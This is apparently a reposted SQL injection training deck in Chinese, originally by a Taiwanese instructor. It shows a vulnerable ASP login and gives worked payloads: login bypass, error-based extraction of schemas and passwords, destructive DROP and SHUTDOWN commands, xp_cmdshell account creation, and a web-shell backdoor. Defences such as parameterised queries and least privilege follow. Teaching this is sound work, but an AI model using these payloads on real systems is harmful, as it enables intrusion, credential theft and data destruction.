文章作者:胡百敬 老师
信息来源:原EST内部资料 最近终于在网络陆续出现了 今天在Hackbase看见了 所以还是公布吧
原文章精美PPT下载:
http://www.eviloctal.com/weblog/ ... d=a_20041031_023901
十分感谢台湾恒逸信息教育训练处系统开发部资深讲师 胡百敬...十分感激...同时感谢 ESG TW
By 胡百敬 老师
SQL Injection (資料隱碼) -駭客的 SQL填空遊戲
大綱
何謂 SQL Injection
程式漏洞
剪接 SQL 語法
利用錯誤訊息
破壞性的工作
使用進階的延伸預存程序
使用 SQL Server 所附的工具程式
防範 SQL Injection 與系統安全設定
何謂 SQL Injection
程式寫作的漏洞,利用修該過的 SQL 語法遂行駭客的目的。
並非病毒
防火牆檔不住
任何平台都可能發生
程式漏洞
網頁程式碼的漏洞
复制内容到剪贴板
代码:
strSQL="SELECT * FROM tblUser WHERE UserName='" & _
Request("UserName") & "' AND Password='" & _
Request("Pass") & "'"
'直接交給 SQL Server 執行,這是最危險的地方
Set rec=cnn.Execute(strSQL)
If NOT rec.EOF Then
…Demo:簡單介紹資料庫架構與 ASP 網頁
剪接 SQL 語法
利用已知的帳號,但不用密碼直接登入
猜測、 監看或用熟知的帳號規則,如員工代號,身分證號碼Ex: Admin’--交由 SQL Server 執行的語法變成
复制内容到剪贴板
代码:
SELECT * FROM tblUser
WHERE UserName='admin'--' AND Password='asdf'Demo:利用已知的帳號登入
剪接 SQL 語法
利用未知的帳號登入
Ex:'or 1=1--交由 SQL Server 執行的語法變成
复制内容到剪贴板
代码:
SELECT * FROM tblUser
WHERE UserName='' or 1=1--' AND Password='asdf' Demo:利用未知的帳號登入
利用錯誤訊息
故意製造 SQL 語法的錯誤,利用錯誤訊息獲取查詢語法與資料表的架構
藉由 GROUP BY 和 HAVING 子句傳回的錯誤訊息Ex:' HAVING 1=1--
复制内容到剪贴板
代码:
SELECT * FROM tblUser WHERE UserName='' HAVING 1=1--' AND Password='asdf'Demo:利用錯誤訊息取得查詢語法
利用錯誤訊息
利用錯誤訊息取得資料表內各欄位的資料型態Ex:'UNION SELECT 'abc',1,1,1 FROM tblUser --
复制内容到剪贴板
代码:
SELECT * FROM tblUser WHERE UserName=''UNION SELECT 'abc',1,1,1 FROM tblUser --' AND Password='asdf'Demo:利用錯誤訊息取得欄位結構
利用錯誤訊息
利用錯誤訊息獲取會員的帳號和密碼Ex:'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'a'--'UNION SELECT Password,1,1,1 FROM tblUser WHERE UserName='admin'--
复制内容到剪贴板
代码:
SELECT * FROM tblUser WHERE UserName=''UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'a'--' AND Password='asdf'Demo:利用錯誤訊息取得帳號密碼
利用錯誤訊息
取得全部的帳號密碼Ex:';DECLARE @str VARCHAR(8000) SET @str='@' SELECT @str=@str+' '+UserName+'/'+Password FROM tblUser WHERE UserName>@str SELECT @str AS IDPass INTO tblHacker-- ' UNION SELECT IDPass,1,1,1 FROM tblHacker--
Demo:利用錯誤訊息取得全部帳號密碼
破壞性的工作
利用 SQL 語法做一些破壞性工作
停止執行 SQL Server:' ;SHUTDOWN--
刪除資料庫:' ;DROP Database <資料庫名稱>--
刪除資料表: ' ;DROP Table <資料表名稱>--
刪除資料:' ;Truncate Table <資料表名稱>--
刪除資料: ' ;DELETE FROM <資料表名稱>--
Demo:做一些破壞性的工作
使用進階的延伸預存程序
XP_CMDSHELL:以 SQL Server 的系統帳號來執行系統上其他的應用程式
Ex:加入一個系統帳號到 SQL Server
复制内容到剪贴板
代码:
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'-- Demo:利用 XP_CMDSHELL 加帳號
使用進階的延伸預存程序
與註冊資料庫相關的延伸預存程序
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100))
INSERT tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,'system\CurrentControlSet\Services\lanmanserver\shares'
Demo:取得系統的共享目錄
使用進階的延伸預存程序
與建立 OLE Automation/COM 物件相關的延伸系統預存程序
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
';DECLARE @shell INT
EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT
EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt'--
Demo:取得登入網頁的原始資料
使用進階的延伸預存程序
复制内容到剪贴板
代码:
DECLARE @fs int,@fi int
EXEC SP_OACREATE 'Scripting.FileSystemObject',@fs OUTPUT
EXEC SP_OAMETHOD @fs,'CreateTextFile',@fs OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD @fs,'WriteLine',null,'<% Set objShell=Server.CreateObject("WScript.Shell") : objShell.Run Request("cmd") %>'复制内容到剪贴板
代码:
http://localhost/sqlinject/shell.asp?
cmd=C:\WINNT\system32\cmd.exe /c
type c:\inetpub\wwwroot\sqlinject\login.asp >
c:\inetpub\wwwroot\sqlinject\test.txtDemo:建立後門網頁
这里参考冰血封情的
[原创]SQL Server的用户及权限
http://www.eviloctal.com/forum/read.php?tid=40
使用 SQL Server 所附的工具程式
BCP
bcp northwind.dbo.tblUser out
C:\inetput\wwwroot\sqlinject\user.txt -c -Usa -P -SByron-XP
OSQL/ISQL
osql -Usa -P -SByron-XP -dNorthwind
-oc:\inetpub\wwwroot\sqlinject\users.txt
-Q"select * from tblUser"
Demo:利用工具程式取得資料
防範 SQL Injection 與系統安全設定
儘量地利用 ASP 或 ASP.NET 在伺服器端檢查與限制輸入變數的型別與長度,過濾掉不需要的內容。要注意的是這些檢查不只要放在前端,後端也要檢測。在前端利用 HTML Input 標籤的 MaxLength 屬性,或是以 JScript 撰寫程式來設定欄位長度的限制,只要將該網頁另存新檔,修改內容後(一般只要改寫 Form 的 Action 屬性以及 Input 的 MaxLength 屬性),重新以瀏覽器開啟再執行便可避過這些瀏覽器端的檢查。
ASP 程式登入 SQL Server 的帳號不要使用 sa,或任何屬於 Sysadmin 群組的帳號,避免有過大的權限。
sa 一定要有強固的密碼,尤其是 SQL Server 7.0 以前的版本,在裝機時預設 sa 沒有密碼,而一般管理者裝完後也忘了或怕麻煩而不更改密碼。
Demo:長度的內容限制前後端搭配
防範 SQL Injection 與系統安全設定
利用 ADO 的 Command 物件或 ADO.NET 的 SqlCommand class 來透過參數執行 SQL 語法,直接以 ADODB 的 Connection 物件執行預存程序的寫法一樣糟糕。範例如下:Exec spXXX 參數,…因為駭客所加入的 SQL 語法一樣可以執行:Exec spXXX 參數,…;SHUTDOWN
复制内容到剪贴板
代码:
Set cmd=Server.CreateObject("ADODB.Command")
With cmd
.ActiveConnection = cnn
.CommandText = "spUserAccount"
.CommandType = 4 'adCmdStoredProc
.Parameters.Append .CreateParameter("UserName", 202, 1, 50, Request("UserName"))
'202 代表 adVarWChar,1 代表 adParamInput
.Parameters.Append .CreateParameter("Password", 202, 1, 50, Request("Pass"))
Set rec = .Execute()
End WithDemo:比較安全的網頁寫法
防範 SQL Injection 與系統安全設定
改掉預設的 Web 虛擬路徑,不要使用 IIS 裝好後預設的 <系統磁碟>\Inetpub\WWWRoot 路徑,否則利用前述的檔案存取方式,很容易在該目錄下動手腳。
不要顯示錯誤訊息到前端。利用 VBScript 語法的 On Error Resume Next,並搭配 If Err.Number<>0 Then 的錯誤處理方式,自行將錯誤重導到適當的錯誤處理網頁,如此系統將更穩固,且駭客也不易透過錯誤訊息來探知系統的內部運作方式。或著,也可以修改<系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 預設網頁,最簡單的方式就是將它更改名字。
將用不到但功能強大的延伸預存程序刪除。
監控系統的執行。
Demo:修改 500-100.asp 名稱
防範 SQL Injection 與系統安全設定
防火牆關閉 TCP 1433/UDP 1434 埠(port)對外的連線,也就是 SQL Server 自己沒有必要就不要連到網際網路。除了有程式在偵測 sa 沒密碼的 SQL Server,SQL Server 本身及大量的延伸預存程序也有被溢位攻擊的危險。
若 SQL Server 一定要直接提供網際網路存取,可以考慮安裝時不要使用預設的 1433 Port。
若 SQL Server 換執行服務的帳號,則該帳號需要以下的權限
Log On Locally
Log On as a Batch
Access this computer from the Network
Log on as service
Replace a process level token
Act as part of the operating system
Increase quotas
利用 MBSA(Microsoft Baseline Security Analyzer )掃描系統的安全設定,並照它的建議更改系統設定。
隨時注意是否有新的修補程式要上。
問題與討論
Q & A
參考資源
http://www.sqlserver.com.tw
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.microsoft.com/securit ... ins/ms02020_sql.asp
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/